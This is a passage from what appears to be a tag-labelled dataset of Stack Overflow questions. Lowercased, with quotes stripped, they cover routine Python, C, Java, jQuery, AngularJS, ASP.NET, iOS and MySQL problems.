1mol      o    3   1.839   2.324   6.306     1mol      o    4   1.783   2.542   6.188     1mol      o    5   1.682   2.491   6.416 </code></pre>   <strong>my code:</strong>   <pre><code>search_string =  mol      #read the first input file     with open( input1.txt   mode= r ) as f1:     #open a file to merge two files         with open( final.txt   mode= a ) as f:              #skip the first line of the input1.txt             line=f1.readlines()             #take the second line of input1.txt             a=float(line[1])             #read the second input file             with open( input2.txt   mode= r ) as f2:                 f2lines=f2.readlines()                 b=float(f2lines[1])                 result=float(a+b)                 f.write( %.f\n  % result)                 for f2lines in f2:                 if search_string in f2lines:                     f.write(f2lines) </code></pre>   <strong>desired final.txt:</strong>   <pre><code>18     1mol     cl    1   2.131   2.473   6.188     1mol      p    2   1.714   2.422   6.273     1mol      o    3   1.839   2.324   6.306     1mol      o    4   1.783   2.542   6.188     1mol      o    5   1.682   2.491   6.416     1met      n    1   4.761   6.470   2.128     1met     h1    2   4.749   6.567   2.153     1met     h2    3   4.833   6.430   2.184     1met     h3    4   4.785   6.464   2.031     1met     ca    5   4.636   6.399   2.152     1met     ha    6   4.567   6.442   2.093     1met     cb    7   4.651   6.250   2.113     1met    hb1    8   4.730   6.213   2.162     1met    hb2    9   4.667   6.244   2.015     1met     cg   10   4.530   6.163   2.147     1met    hg1   11   4.452   6.219   2.119     1met    hg2   12   4.532   6.156   2.247     1met     sd   13   4.524   5.998   2.070  spc.itp </code></pre>,python
basic loop ends unexpectedly  i was playing with the basic sintax of c and i came up with the following piece of code:   <pre><code>#include &lt;stdio.h&gt;  int main() {     int a = 1000;     int b = 0;     while (a &gt; b) {         a++;         b++;     }     puts( loop ended ); } </code></pre>   incredibly this programme outputs <code>loop ended</code> even if <code>a</code> will always be bigger than <code>b</code> no matter how much i increment them: i mean 1001 > 1 is as true as 2481298241 > 2481297241.    please explain me what is the cause of such a weird behaviour.,c
response to http request at production mode in rails  if i run rails server in production environment by <code>rails server -e production</code>  rails runs as a single-threaded application.     so will it respond to one http request at a time or more requests at a time,ruby-on-rails
how to get the value of index and show it in input text  i am having one issue i am trying to get the each value of the index and i want to show it seperately on each input box but i stuck somewhere in my code and i am not getting in actually how to seperate all these value using jquery. i need help !    here is my code :-    <pre><code>&lt;!doctype html&gt; &lt;html lang= en &gt; &lt;head&gt;     &lt;meta charset= utf-8 &gt;     &lt;title&gt;my table&lt;/title&gt;     &lt;script src= https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js &gt;&lt;/script&gt;     &lt;script&gt;         $(document).ready(function(){              $( .studtbl tr ).click(function(){                  $(this).css({ background : #f2f2f2 });                 alert($(this).text());                 $(this).find( td ).each(function(index i){                        console.log( index+  :   + $( this ).text() );                      //console.log($(this).get(0).val( 0 ));                      console.log( ------------------ );                      console.log(i);                       i++;                  });             })             console.log(myarray.val);         });     &lt;/script&gt; &lt;/head&gt; &lt;body&gt; &lt;table border= 1 &gt; &lt;tr&gt;             &lt;td&gt;&lt;input type= text  id= name &gt;&lt;/td&gt;             &lt;td&gt;&lt;input type= text  id= email &gt;&lt;/td&gt;             &lt;td&gt;&lt;input type= text  id= age &gt;&lt;/td&gt;             &lt;td&gt;&lt;input type= text  id= gender &gt;&lt;/td&gt;             &lt;td&gt;&lt;input type= text  id= height &gt;&lt;/td&gt; &lt;/tr&gt;    &lt;/table&gt;     &lt;table border= 1  class= studtbl &gt;         &lt;tr&gt;             &lt;th&gt;name&lt;/th&gt;             &lt;th&gt;email&lt;/th&gt;             &lt;th&gt;age&lt;/th&gt;             &lt;th&gt;gender&lt;/th&gt;             &lt;th&gt;height&lt;/th&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;pqr&lt;/td&gt;             &lt;td&gt;pqr@gmal.com&lt;/td&gt;             &lt;td&gt;21&lt;/td&gt;             &lt;td&gt;m&lt;/td&gt;             &lt;td&gt;6 feet&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;abc&lt;/td&gt;             &lt;td&gt;abc@gmal.com&lt;/td&gt;             &lt;td&gt;23&lt;/td&gt;             &lt;td&gt;m&lt;/td&gt;             &lt;td&gt;5 feet 7 inches&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;xyz&lt;/td&gt;             &lt;td&gt;xyz@gmal.com&lt;/td&gt;             &lt;td&gt;27&lt;/td&gt;             &lt;td&gt;m&lt;/td&gt;             &lt;td&gt;5 feet 9 inches&lt;/td&gt;         &lt;/tr&gt;        &lt;/table&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   i want to all the value at index position seperately on each input box with the id as name   email  age  gender  height.,jquery
illegalstateexception between sendredirect() and objectoutputstream  is there a solution to resolve the conflict between the use of <code>objectoutputstreamhere</code> and <code>sendredirect()</code> !    <pre><code>private void writeobjectstream(httpservletrequest request          httpservletresponse response) {     getqueryfromattribute(request);     objectoutputstream oos = null;     try {         oos = new objectoutputstream(response.getoutputstream());         oos.writeobject(appinfo);         oos.writeobject(serviceinfo);         oos.writeobject(queriesmap);         response.reset();     } catch (ioexception e) {         e.printstacktrace();     } finally {         ioutil.closequietly(oos);     } } </code></pre>   and here i call it <code>writeobjectstream</code>   <pre><code>writeobjectstream(request  response);     try {         response.sendredirect(response.encoderedirecturl(appinfo.geturl()));     } catch (ioexception e) {         e.printstacktrace();     } </code></pre>   i tried an other solution for this problem as follows :   <pre><code>private void writeobjectstream(httpservletrequest request          httpservletresponse response) {     objectoutputstream oos = null;     try {         oos = new objectoutputstream(response.getoutputstream());         oos.writechars( x );     } catch (ioexception e) {         e.printstacktrace();     } finally {         ioutil.closequietly(oos  ois);     } } </code></pre>   the call of <code>writeobjectstream</code>  :   <pre><code>....     response.setstatus(httpservletresponse.sc_moved_temporarily);             response.setheader( location    www.sample.com );             response.setheader( content-length      + 500);             writeobjectstream(request  response);             return true;         } </code></pre>   the problem of the this solution is that it launch a  <code>java.io.eofexception</code> in the server side when i try to do  <code>ois = new objectinputstream(request.getinputstream());</code>,java
"dynamically insert external template in angularjs  i have a list of contacts built in angular  and i need to create an  add activity  function.    to do this i want to be able to insert an external html template with its own controller into an existing template dynamically.    the current html is as follows: <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table style= width:100% &gt;
   &lt;tr ng-repeat= contact in contacts | orderby:  lastname  &gt;
     &lt;td&gt; {{ contact.firstname }} {{ contact.lastname }} &lt;/td&gt;
     &lt;td&gt;add activity&lt;/td&gt;
   &lt;/tr&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>
     i want to click add activity and have angular insert html from an external template into a new row beneath the clicked row.    is this possible",angularjs
angularjs saving data on app exit then use it on app reloading  my angularjs app users leave my application in the order page to another website (paypal) in order to complete their payment then they get routed back again to the application (thank you for ordering view) after completing their order.     before leaving the order page i must save some data in an object then load it again when the user is routed back to the thank you page. although routing back to the thank you page from paypal means re-loading the application  so i was wondering if someone can please help me by suggesting how/ where i can save this object and use it again in the thank you page  thanks,angularjs
how to contine function after changing page  this is my first question so please be kind.  i have the following function:-   <pre><code>function movecarouselpage(page) {     var spath=window.location.pathname;    var spage = spath.substring(spath.lastindexof( / ) + 1);    document.cookie= savepage=  + page;     if (spage ==  index.php )    {    carousel1page(page);    }    else    {    window.location =  /index.php ;    var lastpage = getcookie( savepage );    alert(lastpage);    //commands here don t work.    } } </code></pre>   the functions finds the current page name and if it s index.php it runs the function carousel1page.  which works just fine.    however if the current page is not index.php it opens index.php and executes more code.  the alert quickly flashes up and disappears and contains the correct value of lastpage but i cannot get any code to work past that point.    any ideas appreciated.,javascript
"why elements in css shrinks proportionally despite being sized in absolute units  i m trying to understand how responsive design work in relation to absolute units.  however now i think that absolute units are not really absolute. as you can see from the gif below all elements are shrinking proportionally even though all elements are sized in pixels.     <a href= https://i.stack.imgur.com/rvw1u.gif  rel= nofollow noreferrer >elements shrinks proportionally despite being sized in pixels</a>    i ve also attched the codes below if it helps.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.container{
   width:700px;
   height: 600px;
   margin: auto;
   background-color: lightgoldenrodyellow;
 }
 
 .wrap{
   width:350px;
   margin: auto;
   height: 400px;
   background-color: lightcoral;
 }
 
 button{
   width:250px;
   height: 200px;
   font-size: 30px;
   background-color: lightskyblue;
   margin:100px 0 0 50px;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;!doctype html&gt;
 &lt;html&gt;
 &lt;head&gt;
 &lt;title&gt;layout&lt;/title&gt;
 
 
 &lt;/head&gt;
 &lt;body&gt;
 
   &lt;div class= container &gt;
     &lt;div class= wrap &gt;
       &lt;button&gt;shrinking button&lt;/button&gt;
     &lt;/div&gt;
   &lt;/div&gt;
    
 &lt;/body&gt;
 &lt;/html&gt;</code></pre>
 </div>
 </div>
     finally  i noticed that the elements start shrinking only after the left and right margin for the container elements hit 130.",css
my python script will not run correctly on the idle launcher. can someone see if it works on there system  or check if i have a error   here is my code. i have been learning to code on treehouse and the code seems to work as intended on their workspace. but when i try to run the script using the idle launcher i get the following error.   <pre><code>traceback (most recent call last):   file  /users/jasonladieu/desktop/computer_number_game.py   line 48  in &lt;module&gt;     com_random_number_game(1  10)   file  /users/jasonladieu/desktop/computer_number_game.py   line 31  in com_random_number_game     try_again()   file  /users/jasonladieu/desktop/computer_number_game.py   line 4  in try_again     again = input( would you like to play again \n )   file  &lt;string&gt;   line 1  in &lt;module&gt; nameerror: name  yes  is not defined </code></pre>   can someone help me figure this out. i m kind of new to coding so if this is something simple please be gentle.   <pre><code>import random  def try_again():     again = input( would you like to play again \n )     again = str(again.upper())     if again ==  yes :         return com_random_number_game(1  10)     else:         quit()    def com_random_number_game(a  b):     guess = random.randint(a  b)     print( welcome to the number guessing game. )     user_num = input( enter a number between   + str(a) +   and   + str(b) +   for the computer to guess.\n )     user_num = int(user_num)      if guess == user_num:         print( the computer guessed your number! the computer guessed   + str(guess) +  . )         try_again()     if guess &lt; user_num:         low_guess = guess + 1         print( the computer guessed lower than your number. the computer guessed   + str(guess) +  . time to guess again!\n )         guess_two = random.randint(low_guess  b)         if guess_two == user_num:             print( the computer guessed your number! the computer guessed   + str(guess_two) +  . )             try_again()         else:             print( the computer did not guess your number. the computer guessed   + str(guess_two) +  . )             try_again()     if guess &gt; user_num:         high_guess = guess - 1         print( the computer guessed higher than your number. the computer guessed   + str(guess) +  . time to guess again!\n )         guess_two = random.randint(a  high_guess)         if guess_two == user_num:             print( the computer guessed your number! the computer guessed   + str(guess_two) +  . )             try_again()         else:             print( the computer did not guess your number. the computer guessed   + str(guess_two) +  . )             try_again()  com_random_number_game(1  10) </code></pre>,python
improving a method adding bigintegers  so earlier today i wrote a method for personal uses that sums the integers given as arguments:   <pre><code>public class bigsum {     public static int sum(int... numbers) {         int sum = 0;         for(int n : numbers) {             sum += n;         }         return sum;     } } </code></pre>   later  it turned out that int value is too small for the purposes of my program  so i switched to bigintegers. i decided it would be easier if the method took strings as arguments  converted them to bigintegers and then summed them:   <pre><code>import java.math.*;  public class bigsum {     public static biginteger sum(string... numbers) {         biginteger sum = biginteger.zero;         for(string n : numbers) {             biginteger x = new biginteger(n);             sum = sum.add(x);     }         return sum; } } </code></pre>   the only problem with this code is that you need to give arguments between double quotes (since it takes strings)  and it s usually very inconvenient. what can i do for <code>sum</code> method to take arguments like this:   <pre><code>biginteger number = bigsum.sum(5  6); </code></pre>   instead of:   <pre><code>biginteger number = bigsum.sum( 5    6 ); </code></pre>,java
to open a popup window on clicking link button in grid view  in the below code i have a grid view inside grid view i have a link button when i click the link button it should open a popup window .pls help me to do this.   <pre><code>&lt;asp:templatefield headertext= edit  itemstyle-width= 150px &gt;                             &lt;itemtemplate&gt;                                 &lt;asp:linkbutton id= btnedit  runat= server  commandname= edit  text= edit  causesvalidation= false /&gt;                             &lt;/itemtemplate&gt;                             &lt;/asp:templatefield&gt;   </code></pre>   codebehind:   <pre><code>if (e.commandname.equals( edit ))  {                      linkbutton btnview = (linkbutton)e.commandsource;  response.redirect( newdocument.aspx did=  + lbldocumentid.text.tostring()  true);                 }  </code></pre>,asp.net
sort result order by two fields using mysql  now i am trying to get topics from my database.   <pre><code>topics (   `replied_at` int(11) unsigned default null    `created_at` int(11) unsigned default null  ) </code></pre>   i want to sort topics by replied_at or created_at which is bigger.because i want to get the topic which is latest created or replied.    for example:   <pre><code>topic1: replied_at: null created_at: 1111  topic2: replied_at: 2222 created_at: 0001  topic3: replied_at: 3333 created_at: 1111 </code></pre>   the result is :    topic3 topic2 topic1    does mysql order by support this query      thanks :)    edit:    i use this query but i got wrong order ):    select * from topics order by greatest(replied_at  created_at) desc limit 3\g;,mysql
image upload and display resized image in angularjs  i have a profile page where user saves his photos and after saving we render it on ui in particular width and height. problem is user uploads irregular dimension images. when we try to put this on ui  it becomes distorted. what is the best possible solution for this  i can think of below.   <ol> <li>don t allow user to upload image below some size.</li> <li>while uploading resize image - may distort.</li> <li>while displaying resize - may distort.</li> </ol>   please let me know in real world how is this handled.    i tried to resize using     <a href= http://ngmodules.org/modules/ng-image-resize  rel= nofollow >http://ngmodules.org/modules/ng-image-resize</a>    but still image looks distorted.,angularjs
the bounds of uiscrollview in viewdidload are not same size as set in ib  i have a uiscrollview in a storyboard and its height is set as either 548 or 460 depending upon the device  i.e. the full size of the screen excluding the status bar (see screen shots).    however when i run the code and examine its bounds then the size is either 568 or 480 in viewdidload:   <pre><code>cgrect frame = self.slideshowscrollview.bounds;  // frame.origin.y gets set to 480 or 568 not 460 or 548. </code></pre>   why is the bounds including the size of the status bar when ib isn t     (the uiscrollview is within a uiview  the size of this in ib is also 548 or 460 and it too is coming out in viewdidload as 480 or 568). <img src= https://i.stack.imgur.com/kjmjs.png  alt= enter image description here >    <img src= https://i.stack.imgur.com/cafjw.png  alt= enter image description here > <img src= https://i.stack.imgur.com/4ut7z.png  alt= enter image description here >,ios
reading merged excel data in vb.net using ssis  i got into a tricky issue here. i am working with ssis tool set to import data from certain files. one of these is an excel spreadsheet. the problem is while picking data from merged cells. here is a detailed version of the issue -     rowno       cola       colb     1       value1<br>     2                   xyz    in the above example  <strong>value1</strong> is merged across row 1 &amp; 2. i am looking to pick up value in colb irrespective of whether the value in cola is merged or not. curerntly this doesn t happen in my code.     further details -  i am using microsoft.jet.oledb.4.0 as a provider to form a connection. using a select query to fetch data - select cola from  where colb= xyz     i would expect this to return <strong>value1</strong> which obviously is not hapening since it is merged across two rows.    can someone please help on this one. this is really taking a toll!!,.net
using null-coalesing operator in else if condition  is it possible to simplify the below condition using the null-coalescing operator or any other simplified code    <pre><code>int  c a b; if(a!=null) {   c = a; } else if(b!=null) {   c = b; } else {   c = null; }  </code></pre>   thanks in advance,c#
@protocol with 2 elements  what does    <pre><code>@protocol uipageviewcontrollerdelegate  uipageviewcontrollerdatasource; </code></pre>   mean       does it mean uipageviewcontrollerdelegate and uipageviewcontrollerdatasource protocols have some methods and properties in common,objective-c
click event not triggering  i m not sure why this code doesn t work. it may be because the checkbox is on a coldfusion div page. when the checkbox is clicked  i want to update the individuals record.    the reinitialize function works when i click on that button.  the code to zebra stripe the table works on initial form load  but not on subsequent loads when it posts to itself. the checkbox click function never gets hit. i can set a breakpoint in firebug and it never stops.   <pre><code>&lt;script type= text/javascript &gt; $(document).ready(function () {     $( #reinitialize ).click(function () {         var reinitanswer = confirm( are you sure you want to start over from scratch  );         if (reinitanswer) {             $.ajax({                 type:  post                   url:  cfc/basic.cfc method=truncatetemp                   error: function (xhr  textstatus  errorthrown) {                     // show error                     alert(errorthrown);                 } /*                                   success: function (msg) {                     alert( data saved:   + msg);                 } */             });             $( #reinitialize ).attr( checked   true);         } else {             alert( canceled );         }     });      var table = $( #articles )          rows = table.find( tr )          cells  background  code;      for (var i = 0; i &lt; rows.length; i += 1) {         cells = $(rows[i]).children( td );         code = $(cells[0]).value();         if (code % 2 == 0) {             background =  #e29e6e ;         } else {             background =  #f9cf80 ;         }         $(rows[i]).css( background-color   background);     }      $( .notdupe ).bind( change   function () {  // &lt;----------------------         // if checked         if ($(this).is( :checked )) {             $.ajax({                 type:  post                   url:  cfc/basic.cfc method=setnotdupe                   data:  indivnum=  + $(this).value() +  &amp;setvalue=  + $(this).checked()                  error: function (xhr  textstatus  errorthrown) {                     // show error                     alert(errorthrown);                 }             });         }     }); }); &lt;/script&gt;  &lt;cfif qpages.not_dupe_flag&gt;     &lt;input class= notdupe  type= checkbox  name= individ  value= #userid#  checked /&gt; &lt;cfelse&gt;     &lt;input class= notdupe  type= checkbox  name= individ  value= #userid#  /&gt; &lt;/cfif&gt; </code></pre>   i changed it from a click event to a change event.,jquery
how to run different versions of rails like 3.0 and 2.3.5   how to run different versions of rails like 3.0 and 2.3.5,ruby-on-rails
assign html to div by jquery  i want to use jquery to assign the html content to div. i have used the code but it is not assigning the value to the div.    <pre><code>$(document).ready(function(){     $( #oneclickorder ).click(function()     {         $.ajax({             type: post               url: modules/oneclickorder.php divid=nfs               success:function(data){                var onclickdata=data;                $( #oneclickorder1 ).html(onclickdata);             }         });     }); }); </code></pre>,jquery
converting a macro to an inline function  i am using some qt code that adds a verify macro that looks something like this:   <pre><code>#define verify(cond) \ { \     bool ok = cond; \     q_assert(ok); \ } </code></pre>   the code can then use it whilst being certain the condition is actually evaluated  e.g.:   <pre><code>q_assert(callsomefunction()); // callsomefunction not evaluated in release builds! verify(callsomefunction());   // callsomefunction is always evaluated </code></pre>   disliking macros  i would instead like to turn this into an inline function:   <pre><code>inline verify(bool condition) {   q_assert(condition); } </code></pre>   however  in release builds i am worried that the compiler would optimise out all calls to this function (as <code>q_assert</code> wouldn t actually do anything.)  i am i worrying unnecessarily or is this likely depending on the optimisation flags/compiler/etc.   i guess i could change it to:   <pre><code>inline verify(bool condition) {   condition;   q_assert(condition); } </code></pre>   but  again  the compiler may be clever enough to ignore the call.    is this inline alternative safe for both debug and release builds,c++
twitter login in android application and post a tweet for diffrent users  i have made a consumer key and a consumer secret from my twitter account and i have post a tweet to twitter in my account and this works fine. my application is to login from different user in twitter and post their tweet.is this possible. if it is then how will you handle the case of consumer key and consumer secret for different users. please provide me if any valid link for this scenario.     please help me.    thanks in advance.,android
dynamically change div background in asp.net  i know that i can change the css of a div with the following:   <pre><code>mydiv.cssclass =  myclass  </code></pre>   however  what i am trying to figure out is how to dynamically grab a div and then do this.      i have a function that gets called a bit and will change the background color of the div based upon the resulting value (integer).  the function is like this:   <pre><code>public sub readvalue (tag  divid) </code></pre>   i am passing in the id of the div into the divid parameter.  since that is a string and not an actual object  how would i then change the class      i m fairly confused :)  it seems like it would be easy  but i can t find anything on the internet to help me figure it out.    thanks in advance.   <hr>   here is the actual code:    code of stylesheet:   <pre><code>.container {width: 100%; background: transparent; max-width: 1000px; min-width: 1000px;margin:0 auto;min-height: 200px;} .table-left{ float:left; width:400px; border: 1px solid #000; min-height:100px; } .mtable-left{ float:left; width:299px; border-bottom: 1px solid #000; border-right: 1px solid #000; min-height:50px; } .mtable-left-right{ float:right; width:100px; border-bottom: 1px solid #000; min-height:50px; text-align: center; font-weight: bold; } .table-right{ float:right; width:400px; border: 1px solid #000; min-height:100px; } .legend-left{ float:left; width:550px; border: 1px solid #000; min-height:100px; }  .mlegend-left{ float:left; width:299px; border-bottom: 1px solid #000; border-right: 1px solid #000; min-height:30px; text-align:center; } .mlegend-leftc{ float:left; width:99px; border-bottom: 1px solid #000; border-right: 1px solid #000; min-height:30px; text-align:center; } .mlegend-leftv{ float:left; width:150px; border-bottom: 1px solid #000; min-height:30px; text-align:center; }  .arges {clear:both;} .yellow{background:yellow;} .red{background:red;} .blue{background:blue;} .green{background:green;} .gray{background:gray;} </code></pre>   html code   <pre><code>&lt;%@ page language= vb  autoeventwireup= false  codefile= index.aspx.vb  inherits= overheads_default  %&gt;  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 transitional//en   http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd &gt;  &lt;html xmlns= http://www.w3.org/1999/xhtml &gt; &lt;head runat= server &gt;     &lt;title&gt;&lt;/title&gt;     &lt;link href= styletest.css  rel= stylesheet  type= text/css  /&gt; &lt;/head&gt; &lt;body&gt;     &lt;form id= form1  runat= server &gt;     &lt;asp:scriptmanager id= scriptmanager1  enablepartialrendering= true  runat= server &gt;      &lt;/asp:scriptmanager&gt;  &lt;asp:updatepanel id= updatepanel1  runat= server &gt; &lt;contenttemplate&gt; &lt;asp:timer id= tmrrefreshschiwastatus  runat= server  interval= 30000 &gt; &lt;/asp:timer&gt; &lt;asp:timer id= alertrefresh  runat= server  interval= 1000  enabled= false &gt;&lt;/asp:timer&gt;     &lt;div class= container  runat= server &gt; &lt;div class= table-left  runat= server &gt;    &lt;div class= mtable-left  runat= server &gt;&lt;/div&gt;    &lt;div class= mtable-left-right  runat= server &gt;status&lt;/div&gt;     &lt;div class= mtable-left  runat= server &gt;conv. sys 1a&lt;/div&gt;    &lt;div class= mtable-left-right gray  id= status1  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left  runat= server &gt;&lt;/div&gt;    &lt;div class= mtable-left-right  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left  runat= server &gt;srm 61&lt;/div&gt;    &lt;div class= mtable-left-right red  id= status2  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left  runat= server &gt;&lt;/div&gt;    &lt;div class= mtable-left-right  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left  runat= server &gt;srm 62&lt;/div&gt;    &lt;div class= mtable-left-right yellow  id= status3  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left  runat= server &gt;&lt;/div&gt;    &lt;div class= mtable-left-right  runat= server &gt;&lt;/div&gt;      &lt;div class= mtable-left  runat= server &gt;conv. sys 1b&lt;/div&gt;    &lt;div class= mtable-left-right green  id= status4  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left  runat= server &gt;&lt;/div&gt;    &lt;div class= mtable-left-right  runat= server &gt;&lt;/div&gt;      &lt;div class= mtable-left  runat= server &gt;srm 63&lt;/div&gt;    &lt;div class= mtable-left-right red  id= status5  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left  runat= server &gt;&lt;/div&gt;    &lt;div class= mtable-left-right  runat= server &gt;&lt;/div&gt;      &lt;div class= mtable-left  runat= server &gt;srm 64&lt;/div&gt;    &lt;div class= mtable-left-right blue  id= status6  runat= server &gt;&lt;/div&gt;   &lt;/div&gt; &lt;div class= table-right &gt; &lt;div class= mtable-left &gt;&lt;/div&gt;    &lt;div class= mtable-left-right &gt;status&lt;/div&gt; &lt;div class= mtable-left &gt;layer picker&lt;/div&gt;    &lt;div class= mtable-left-right gray  id= status7  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left &gt;&lt;/div&gt;    &lt;div class= mtable-left-right &gt;&lt;/div&gt;     &lt;div class= mtable-left &gt;wrapper 1&lt;/div&gt;    &lt;div class= mtable-left-right red  id= status8  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left &gt;&lt;/div&gt;    &lt;div class= mtable-left-right &gt;&lt;/div&gt;     &lt;div class= mtable-left &gt;wrapper 2&lt;/div&gt;    &lt;div class= mtable-left-right yellow  id= status9  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left &gt;&lt;/div&gt;    &lt;div class= mtable-left-right &gt;&lt;/div&gt;      &lt;div class= mtable-left &gt;wrapper 3&lt;/div&gt;    &lt;div class= mtable-left-right green  id= status10  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left &gt;&lt;/div&gt;    &lt;div class= mtable-left-right &gt;&lt;/div&gt;      &lt;div class= mtable-left &gt;t-car&lt;/div&gt;    &lt;div class= mtable-left-right gray  id= status11  runat= server &gt;&lt;/div&gt;     &lt;div class= mtable-left &gt;&lt;/div&gt;    &lt;div class= mtable-left-right &gt;&lt;/div&gt;      &lt;div class= mtable-left &gt;spare&lt;/div&gt;    &lt;div class= mtable-left-right red  id= status12  runat= server &gt;&lt;/div&gt;  &lt;/div&gt; &lt;div class= arges &gt;&lt;/div&gt; &lt;br/&gt; &lt;br/&gt; &lt;b&gt;legend&lt;/b&gt; &lt;br/&gt; &lt;div class= legend-left &gt;     &lt;div class= mlegend-left &gt;tag value&lt;/div&gt;     &lt;div class= mlegend-leftc &gt;color&lt;/div&gt;     &lt;div class= mlegend-leftv &gt;desc.&lt;/div&gt;      &lt;div class= mlegend-left &gt;1&lt;/div&gt;     &lt;div class= mlegend-leftc yellow &gt;&lt;/div&gt;     &lt;div class= mlegend-leftv &gt;idle&lt;/div&gt;      &lt;div class= mlegend-left &gt;2&lt;/div&gt;     &lt;div class= mlegend-leftc green &gt;&lt;/div&gt;     &lt;div class= mlegend-leftv &gt;running&lt;/div&gt;      &lt;div class= mlegend-left &gt;3&lt;/div&gt;     &lt;div class= mlegend-leftc blue &gt;&lt;/div&gt;     &lt;div class= mlegend-leftv &gt;faulted&lt;/div&gt;      &lt;div class= mlegend-left &gt;4&lt;/div&gt;     &lt;div class= mlegend-leftc gray &gt;&lt;/div&gt;     &lt;div class= mlegend-leftv &gt;manual/maint.&lt;/div&gt;      &lt;/div&gt; &lt;div class= arges &gt;&lt;/div&gt;     &lt;/div&gt;  &lt;/contenttemplate&gt; &lt;/asp:updatepanel&gt;           &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   in addition  i have tried the following code:   <pre><code>status3.attributes( cssclass ) =  mtable-left-right blue  </code></pre>,asp.net
how to close the space between two elements  i am trying to close the gap between my top two elements (an h1 tag and an image tag which is wrapped in a link tag).    i ve tried changing margins and floating... i m stuck :(   <pre><code>&lt;div align= center &gt;     &lt;h1 style= color:blue; background-color:lightgrey; font-size:100px; &gt;inner planets - museum&lt;/h1&gt;      &lt;a href= http://csc2.madonna.edu/~brabahy/hw5/museum.html &gt;&lt;img src= http://csc2.madonna.edu/~brabahy/hw5/images/banner1.jpg  height= 400  width= 1250 &gt;&lt;/a&gt; &lt;/div&gt; </code></pre>,html
what does the symbol ` ` mean in the expression `maxy = (maxy > pt.y)   maxy : pt.y;`  what does the symbol <code> </code> mean in the following code:   <pre><code>  for(int i = 0 ; i &lt; hpts.branchcount;i++)     { foreach(point3d pr in hpts.branches[i]){         minx = (minx &gt; pt.x)   pt.x : minx;         miny = (miny &gt; pt.y)   pt.y : minx;         maxx = (maxx &gt; pt.x)   maxx : pt.x;         maxy = (maxy &gt; pt.y)   maxy : pt.y;       }     } </code></pre>,c#
get list of records with multiple entries on the same date  i need to return a list of record id s from a table that may/may not have multiple entries with that record id on the same date. the same date criteria is key - if a record has three entries on 09/10/2008  then i need all three returned. if the record only has one entry on 09/12/2008  then i don t need it.,sql
validate  sign and upload using different accounts  i have developed an app for the client and the client wants to upload to the appstore for the review. i want to validate and sign<code>ios</code> app before i give it to the client.    <strong><em>my question is</em></strong>: can i validate and sign the <code>ios</code> app using account <code>user@example.com</code> whereas the client will use different account <code>client@example.com</code> to upload the app the appstore.    please advise,ios
how to read from a huge file and write to a new file by java  what i am doing is to read one file line by line  format every line  then write to a new file.  but the problem is that the file is huge  nearly 178 mb.  <strong>but always getting error message: io console updater error  java heap space.</strong> here is my code:      <pre><code>public class fileformat {     public static void main(string[] args) throws ioexception{          string strline;          fileinputstream fstream = new fileinputstream( train_final.txt );         bufferedreader reader = new bufferedreader(new inputstreamreader(fstream));         bufferedwriter writer = new bufferedwriter(new filewriter( newoutput.txt ));          while((strline = reader.readline()) != null){             list&lt;string&gt; numberbox = new arraylist&lt;string&gt;();             stringtokenizer st = new stringtokenizer(strline);             while(st.hasmoretokens()){                 numberbox.add(st.nexttoken());             }             for (int i=1; i&lt; numberbox.size(); i++){                 string head = numberbox.get(0);                 string tail = numberbox.get(i);                 string line = head +     +tail ;                 system.out.println(line);                 writer.write(line);                 writer.newline();             }             numberbox.clear();         }         reader.close();         writer.close();     } } </code></pre>   how can i avoid this error message  moreover  i have set the vm preference: -xms1024m,java
mysql nested query speed is very slow  i have a table by the name of vehicle_plate as follow:    <a href= https://i.stack.imgur.com/uob1e.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/uob1e.png  alt= enter image description here ></a>    and the above table total records is <strong>715210</strong> and i want to count the vehicles by latest or updated plate type in specific zone and province but the when i run the below query  the query speed is very slow. i mean i never get the result its just loading.   <pre><code>            select `pt`.`pt_dr` as             type   count( distinct vp.vehicle_v_id ) as vehicles  `p`.`province_dr` as province_name  `p`.`id` as id  vp.vehicle_v_id             from (             `vehicle_plate` as vp             )             left join provinces as p on p.id = vp.provinces_province_id             left join plate_types as pt on pt.id = vp.plate_types_pt_id             where 1             and p.zone_zone_id =  1              and p.id =  1               and vp.id             in (              select vp1.id             from vehicle_plate as vp1             group by vp1.vehicle_v_id             )             group by vp.vehicle_v_id  `vp`.`plate_types_pt_id`             order by `p`.`zone_zone_id`   `vp`.`provinces_province_id`   `vehicles` desc </code></pre>   <strong>note:</strong> one vehicle may has more than one plate and i want to count the updated or latest plate type.    sample data: <a href= https://i.stack.imgur.com/yatu4.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/yatu4.png  alt= enter image description here ></a>,mysql
